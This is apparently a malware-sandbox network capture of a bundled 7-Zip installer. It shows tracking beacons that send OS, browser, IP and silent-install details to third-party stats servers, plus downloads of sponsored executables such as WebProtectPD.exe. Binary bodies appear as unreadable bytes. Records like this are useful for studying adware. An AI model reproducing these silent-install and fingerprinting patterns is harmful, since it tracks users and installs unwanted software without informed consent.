Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3ffn9rvm681fx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 04:56:49 GMT
Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT
Expires: Sun, 26 Apr 2015 05:06:49 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
Age: 568
X-Cache: Hit from cloudfront
Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: tJj_k-nEiKpF5Wi-Us0jnKYn7HlbsWMyMHK0P7KXwZB3zTRhy0h4Ow==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7
<<< skipped >>>


GET /__utm.gif?utmwv=5.6.4&utms=6&utmn=722569010&utmhn=installer.filebulldog.com&utmhid=1118226650&utmr=-&utmp=Offer_Accepted&utmht=1430386013393&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Tue, 28 Apr 2015 18:20:29 GMT
Server: Golfe2
Content-Length: 35
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 140784
Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Tue, 28 Apr 2015 18:20:29 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 140784..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;....


GET /__utm.gif?utmwv=5.6.4&utms=7&utmn=1328920837&utmhn=installer.filebulldog.com&utmhid=1118226650&utmr=-&utmp=Offer_Accepted&utmht=1430386023281&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Tue, 28 Apr 2015 18:20:29 GMT
Server: Golfe2
Content-Length: 35
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 140794
Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Tue, 28 Apr 2015 18:20:29 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 140794..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;....


GET /__utm.gif?utmwv=5.6.4&utms=8&utmn=1240112388&utmhn=installer.filebulldog.com&utmhid=1118226650&utmr=-&utmp=Offer_Accepted&utmht=1430386030931&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Tue, 28 Apr 2015 18:20:29 GMT
Server: Golfe2
Content-Length: 35
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 140801
Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Tue, 28 Apr 2015 18:20:29 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 140801..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;....


GET /__utm.gif?utmwv=5.6.4&utms=9&utmn=984535662&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(web2mob_messenger_for_android)&utmhid=1118226650&utmr=-&utmp=Install_Complete&utmht=1430386035515&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Tue, 28 Apr 2015 18:20:29 GMT
Server: Golfe2
Content-Length: 35
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 140806
Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Tue, 28 Apr 2015 18:20:29 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 140806..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;..



GET /installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A30AA41949174B2BB4F8916E33C4C15EPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_37&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&mdat=&procstarttime=1430385923&procruntime=2&rnd=1430385925 HTTP/1.1
Host: stats.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: inIiVgIDlD10 u0pr IV00CRRpXdwYV1Hj3WGYQq3jwb51D5alVR6m2 q9t5Bdhc
x-amz-request-id: 4C723AC7E01EAE2D
Date: Thu, 30 Apr 2015 09:25:26 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:16:15 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: inIiVg
IDlD10 u0pr IV00CRRpXdwYV1Hj3WGYQq3jwb51D5alVR6m2 q9t5Bdhc..x-amz-requ
est-id: 4C723AC7E01EAE2D..Date: Thu, 30 Apr 2015 09:25:26 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:16:15 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A30AA41949174B2BB4F8916E33C4C15EPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_37&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430385923&procruntime=13&rnd=1430385936 HTTP/1.1


Host: stats.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: EZkh7zt/OBxPWJp0aT6rdHvqnx7veEh1KcSgyAsFjp1hREADxbCZLr9TNekjzWwh
x-amz-request-id: DB28C4C3EEF94C98
Date: Thu, 30 Apr 2015 09:25:37 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:16:15 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A30AA41949174B2BB4F8916E33C4C15EPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1430385923&lifetime=0&silent=1&crtnm=na&procstarttime=1430385923&procruntime=13&rnd=1430385936 HTTP/1.1


Host: stats.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: szyjzL4y I2hORmJJfckdA/Pjl4sf6qV1w1eKXoSiQ21ZCDHM9gfTR5exQzsAk7y
x-amz-request-id: CBE007FA585E513A
Date: Thu, 30 Apr 2015 09:25:37 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:16:08 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: szyjzL
4y I2hORmJJfckdA/Pjl4sf6qV1w1eKXoSiQ21ZCDHM9gfTR5exQzsAk7y..x-amz-requ
est-id: CBE007FA585E513A..Date: Thu, 30 Apr 2015 09:25:37 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:16:08 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..



GET /awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:22:02 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
600a...............z.F.6..?.....8...v...0.-.mo..9.tK....IH.d.."j_.w-..
..]..P.(...}.w[.P.*..j......v../..p1.......0.{.[...'......y........@..
...rQ.{Q.H>,...w......^|......>...OJm...".....T...w...{........$
...y..o\.....^I.%....s9./....{../.....l4.|Y...b:..I.l..._..r....5....,
.^...h1[~.../..?....8.p6....<.....w....}<K.... ..3.T..I<.z...
?...~9[...E:....`~.^......c....g3..,..s<x......8Y.;.........c8}.RwQ
d...L.X.8.=f.x...y.-]b..P....,..Z.N..d..C7.........t...8._.O......-.]a
p9.....Y'..]&....}.../G....l.O..Y?.%..w.n^F..3J0....o.>]t......m-s.
.L...<..gX.......:./...#...1.......Y:...=L|..n.e.f........>.....
..Io..M..R&~..).,...,^..z....4..u...b......U%....]..L.r.M.>f.....D7
...>.$...G%..........i.9~.._......0..6F&....%.1..X........7.M..gq..
t...-.../...=_..6....y-.......t...%R....Yw...............O............
....e..<._b... [email protected]....&.'#t...;K.T..]...s.Y...Wo........
.Lz...J...=J...:.0v.L.......R.Q3o'$]..k..k...,.......t....8[.Fn..^u...
..h.&0.K.......?......n.......ag......pr.w..A..16...;;w.......^...F.??
.>...jK..;....s0..yZw......s.....@'##.wC..i<h....;_V....w*k.E...
*.....:..?~~.=....o.........c.[..7............W.......... . .... .w}.;
..{C...]?.w.p~.|.r.........~....]...V~.......{..{...?.X.......K.%...&l
t;..Tu0...d~ .R..BD........^<.......O'.8b...x`.w^......4..*k..e..9e
.. .. ..2.s.N1X..Y....z.%........8.....,Y,g....J.=k\].c../....../b..I/
 ...Wl...[.Q.E=...a/.x......RI.....n...`1.o6..U.....(J.....}...'.Q....
0).....>...}>..7\..6t>........t.U...N.7...r6......R..;...
<<< skipped >>>

POST /installer/ajax HTTP/1.1


x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Content-Length: 2702
Connection: Keep-Alive
Cache-Control: no-cache

country=UA&uid_orig=607d9b71d8f3494f867a2b514a49c4e9&uid=607d9b71d8f3494f867a2b514a49c4e9&affid=awde7zip23008&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTgw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=7e8ff96e037266221e1f9cf16007814e&tokyo_csrf_timestamp=1430385722&unique_id=false&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTGSxjM0U9E77FGnMsZ1LcvOzHafQu4ZCzL8juT87OhWgAKpiO4REHih3bZNHkqNAXYr+bBhCxp8N7RWwsCfCq8lX
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:22:03 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
f41.............\.s.6..W0.i..-[..M.q.4..........."!.g.. ......-.>E.
..7m..dL.x,.......s...2.y.t..9?....Z.3&c..0...e.B..`....s.a=.y.V..Y.,.
B.!.y....s...%S..J...g..y$.b..<.l..L..a........{.q..........H1.h.E.
)".~.Y&D$..e~(.K./.V..'1f]......B..>.fT.r.;y.....:o..,.i*x....~.X..
$.dA.....,..I(..{.-...cZ..h\....z\.3.ZL..].......$Ud..w..u.'I........V
,...l..SWD.f.u..D,d>O..M.8.E.......X]....yu...R.-$.fz)....K.....Mj.
.k..H.....I..2.x(.......iM......\.Y.?....*.T.....\b...I...,2.....j5.Z&
gt;.<;%4'.t.d.[..:.2...1..cM.;......s.\.6Z....k%e...C...3.Y.e......
>.....J.. ..y][email protected]...^.s......a..$.....*B?......?.....A.....
...0...#..W.B.Vm......SJ...G..4.Tf%oP.. ..3...E.m.n....e6..5.E.`..= V.
,...b.X.M..|..k.zL.4....%...K.@......:..=F.}..I...\....*7`..*..1...z{.
..3............"....e......!..%g.^.m.q..u.,..y..g...n...O..ku.........
T...p...,K..nw.....]..a ...L.zJ^...C....x6#^.wU..wz2... .(.j.0..).U)..
.A@.*.y.6".d..My..Z.5<...>kn........1.W2....,K......x.....=...K.
M&.*[email protected]\...^..1h.K.8....?......?.....3z...dv.,
....X....$I..b"2..`QM.._.6i.....N7..{..z......I,..J..E...6..T..%.$..}.
.G.jfAH]..u..`;..N .l.U..QW[...b1..,.e.Vrhg9......Y!9Q..=.H...^G.v...X
.....;.........b..Zd...y.R..l..a}Nh..N.....p.......#..-:..0....8.6D7/.
.`..!.......l.......Q...1.E.3.......X,X.'.G...w..?O..(..Y....m...uP..z
lR$..p`..........N."$..g.&..#.'"..v.@%.A)....Q.....:..^..#)..tN...I"..
. \..N..6..W..B...F.........|.Y..."....."a....r...Ysd....E....d:..=\.4
...b".....a. ....Zd.....;o.[...$W...$y..W.:..w.9.j.b...Ov.H{4.ptx.
<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.6919453698335451 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.2090475166.1430385727.1430385727.1430385727.1; __utmb=1.1.10.1430385727; __utmc=1; __utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:22:13 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:22:13 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /windowspm/up?ptid=smt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.2227&uid=&upv= HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.theviilage.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:24:44 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.14p1
Content-Encoding: gzip
15............3............0..HTTP/1.1 200 OK..Server: nginx..Date: Th
u, 30 Apr 2015 09:24:44 GMT..Content-Type: text/html; charset=UTF-8..T
ransfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encodi
ng..X-Powered-By: PHP/5.2.14p1..Content-Encoding: gzip..15............
3............0..



GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1
Range: bytes=146553-293107
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 146555
Connection: keep-alive
Date: Sun, 26 Apr 2015 07:01:19 GMT
x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671
Cache-Control: max-age=3600
Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT
ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 146553-293107/586214
Age: 1492
X-Cache: Hit from cloudfront
Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: S0Ej-amC7dhvvVC08qxn6-BoPWrW_eb2TsQ8XRExCl5jcVvLY7qBnQ==
".#.....<..g .g9^..........e$Y.}.O..........?k.&....2.I..d.^...T.ui
..II..CUG...n9..L6..{6..=z.gf...$7...="..&..8.....Ps&........X...]....
?....$........j.../.Y7WZ.b.......`........Vc6LDuw.ZMI....:wf.".K1..w..
o{.".../n.fl:>v..}%......3...FX.=9;..p..8.T.U.....`.....7Hwa.$5...g
<.3.....N..^#.a}........k....R.{.C.....v:.z....A.t.xP.........uIYu`
..}t8..)..G.....A.Q.......J...Lk...;1...Pe..-j.a.....`.&....S"U ..u...
3.jZ.^CuC.(...K..$...5..>.!.<2`W......3E./.k&....?...H-&!a.4...`
L.B..AL..ngl3\!x..x.B........^?E....m...Ox(`..Y......r...H....[..&a,.K
.....%..z.T....#.>.'.i.......A......MyU.J..K4..Hx8..........t...4~.
....)/c.o......,`,......(..bN.".^.`.F...r.mW.......m.%.L{........g..zF
.dU..d...=q...?}.....wh`.}..D0.....$*m..$&.........$.._d........:...].
.....xca.:.9..l.Y.*>....?.r....%U....SXM;...R.P...G...!A..S....."";
q.?V.<.m..... ..Y.^.Ml{...........oiA].&.g....i.A.....%|..w~.3...C.
.:Y...M..h......?....z..#..o...2.I...siv.........'S.e..n%[k t.9..tx...
Y.....o..F;..hm.Qf6..,..8..L.6'.v~....7..s...6P*..Z.>pd..K.$:.).k..
.....{...?...'..!...]....:.Y....................t.5...... \t.6rtMn.p..
.Hh...~ ........Y.........A.&Y.......,p....U...E..}.Fq<&....S..G..H
.u2.......=..C..DG...X...,;.U5.y.....b|8.J9.....NN.....j.y.....z.._;[.
...5......*e.....-....k...B...jh]x..%t..5.a.th.6.O...Hz.[.#...3,tE...3
.X.....|.IX~..q.i........~ ....5......j.O.^..Q.U/D.6....a......5..u..$
&...o...I..`.r{o.......!'...x.....W.F.D..M_.......d.....m.^...R....._x
..<..L.jewi_.h.Pe..0......I....t. r..)...~. ...-.SI...9.#wps...
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=54692-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 18230
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 54692-72921/72922
Age: 3332
X-Cache: Hit from cloudfront
Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Nh_yHUxUfhSpuG341jGag6DPq2L6KAZz7dFOmaR9FwfUp86RgOUUdQ==
c...D..w=*>..P.g...l..6.I..O}4........%.!.h.dkz....G..w....,.,(g.t.
